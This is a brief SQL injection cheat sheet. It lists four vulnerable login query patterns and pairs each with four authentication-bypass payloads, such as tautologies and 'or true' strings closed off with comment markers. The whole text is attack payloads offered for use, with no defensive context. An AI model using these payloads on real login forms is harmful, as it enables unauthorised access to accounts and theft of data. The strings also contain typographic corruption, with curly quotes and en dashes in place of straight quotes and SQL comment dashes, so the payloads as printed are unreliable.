SQL Injection

Query:

select username,pass from users where username="$username" and password="$passwrd" limit 0,1;
Injections:
” or true–
” or “”=”
” or 1–
” or “x”=”

Query:

select username,pass from users where username=('$username') and password=('$passwrd') limit 0,1;
Injections:
‘) or true–
‘) or (”)=(‘
‘) or 1–
‘) or (‘x’)=(‘

Query:

select username,pass from users where username=("$username") and password=("$passwrd") limit 0,1;
Injections:
“) or true–
“) or (“”)=(”
“) or 1–
“) or (“x”)=(”

Query:



select username,pass from users where username=(('$username')) and password=(('$passwrd')) limit 0,1;
Injections:
‘)) or true–
‘)) or ((”))=((‘
‘)) or 1–
‘)) or ((‘x’))=((‘